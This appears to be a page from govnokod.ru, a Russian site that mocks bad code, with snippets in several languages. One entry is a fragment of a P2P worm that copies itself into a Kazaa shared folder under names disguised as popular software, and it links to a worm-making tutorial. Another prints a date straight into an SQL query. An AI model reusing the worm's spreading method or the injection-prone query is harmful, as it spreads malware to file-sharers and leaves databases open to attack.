- 1
- 2
- 3
- 4
- 5
- 6
- 7
char c;
cin>>c;
if (c == 'a') cout<<'a';
if (c == 'b') cout<<'b';
if (c == 'c') cout<<'c';
//....
if (c == 'z') cout<<'z';
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+147
char c;
cin>>c;
if (c == 'a') cout<<'a';
if (c == 'b') cout<<'b';
if (c == 'c') cout<<'c';
//....
if (c == 'z') cout<<'z';
классика
+138
/*****************************************************************************************************************
* Третий уровень *
*****************************************************************************************************************/
void WorkAndViewLevel_3(void)
{
if ( MenuLevel[1] != 2 ) { MenuLevel[1] = 2 ; }
switch (MenuLevel[1])
{
// case 0 : WorkAndViewJournal(); break;
case 2 : WorkAndViewMonitor(); break;
//case 3 : WorkAndViewJournal(); break;
}
}
/*****************************************************************************************************************
* Второй уровень *
*****************************************************************************************************************/
void WorkAndViewLevel_2(void)
{
switch (MenuLevel[1])
{
case 0 : RightParol=0; WorkAndViewBasic(); break; // Если возвращаемся в основной режим то сбрасываем флаг правильно введенного пароля
case 1 : Switch_Mem_Bank(0); break; // Переходим в МРВ
case 2 : ViewUpConstDownBuff(" МОНИТОР: ",txtMonitor,CountTree_Monitor-1,1,1);
break;
case 3 : WorkAndViewBasic(); break;
}
}
/*****************************************************************************************************************
* Root *
*****************************************************************************************************************/
void WorkAndView(void)
{
Position=&MenuLevel[MenuLevel[0]]; // Определяем укактель на позицию дочерней ветви
if (PeriodFlash>0) {PeriodFlash--;} // Уменьшаем промежуток времени до начала мерцания надписи
switch (MenuLevel[0])
{
case 1 : ViewUpConstDownBuff("Выберите режим :",txtRoot,CoutTree_Root-1,0,1); // Находимся в Root
break;
case 2 : WorkAndViewLevel_2(); // Находимся в ТЕСТе, МОНИТОРе, НАЛАДКЕ...
if (JournalPos) JournalView=JournalPos-1; else JournalView=39;
break;
case 3 : WorkAndViewLevel_3(); break; // Находимся на самом верхнем уровне
}
}
Описание менюшки из трех уровней. Улыбает case 3 в WorkAndView.
+155
$pageController = new PageController();
$photo = $pageController->getPhoto($pageRecord->id);
$photo = $photo ;
А вдруг ПХП с первого раза не понял что в переменной должно быть фото? Повторение мать учения.
+77
Ingeter[] i = new Integer[1];
for (i = 0; i<n; i++) {
//что-то происходит
}
здесь все по-серьезному
+176
/**
* получить перечень экзаменов на указанную дату
* @global GathererDB $db
* @param string $examdate must be $db->qstr()'ed
* @return array
*/
function examsOnDate($examdate)
{
global $db;
ob_start();
?>
select distinct e.EXAMID from EXAMS e
inner join STATIONEXAMS se on se.EXAMFK=e.SYS_GUID
inner join PARTICIPANTSEXAMS pe on pe.EXAMFK=e.SYS_GUID
where e.EXAMDATE=<?php print $examdate; ?>
<?php
$sql = ob_get_clean();
$exams = $db->getcol($sql);
return $exams;
}
Из скрипта для обслуживания сайта ЕГЭ.
Изумительное применение буфера.
+87
Boolean.valueOf("1".equals(object[1].toString())?"true":"false"))
+135
randomize(); //Включаем генератор случайных чисел.
ra = random(11)+1; //Генерим число от 1 до 11 и если выбрали то переходим вниз по коду.
switch (ra)
{
case 1 : strcat(KazaaFull, "\\winamp502_full.exe"); break;
case 2 : strcat(KazaaFull, "\\spdialer.exe"); break;
case 3 : strcat(KazaaFull, "\\rammstein.scr"); break;
case 4 : strcat(KazaaFull, "\\mozilla-1.6-win32-installer.exe"); break;
case 5 : strcat(KazaaFull, "\\cdex_160_enu.exe"); break;
//Присоединяем к пути новое имя.
case 6 : strcat(KazaaFull, "\\kavperspro45rus.exe"); break;
//Я говорил про запасную переменную.
case 7 : strcat(KazaaFull, "\\restorator_4.0.exe"); break;
// Мы юзаем "\\" потому что так нужно.
case 8 : strcat(KazaaFull, "\\win_rar330.exe"); break;
case 9 : strcat(KazaaFull, "\\mdialer_4.exe"); break;
case 10 : strcat(KazaaFull, "\\apache_1.3.22-PL30.9-win32-x86.exe"); break;
case 11 : strcat(KazaaFull, "\\offline_explorer_3.0_setup.exe"); break;
}
CopyFile(myname, KazaaFull, FALSE);
//Ну и копируем свое тело в папку KazaaFull
http://www.makak.ru/2007/11/09/wormp2p-svoimi-rukami/
+171
const_cast<TRefalAbstract*>(this)=new TRefal();
+162
<script type="text/javascript">
............................
var titlePubOk = "<?php echo 'Показано'; ?>";
var titlePubNo = "<?php echo 'Скрыто'; ?>";
............................
</script>
Вот обновляю систему и вдруг обнаружил собственный, самый натуральный говнокод. Это - невероятно!
+128
public string GetUserCurrentStage(int stage)
{
string stageName = "";
if (stage == 1)
stageName += "Initial Certification";
else if (stage == 2)
{
stageName += "Maintenance *";
}
else if (stage == 3)
stageName += "Recertification";
else
return string.Empty;
return stageName;
}
Когда платят за строчки кода...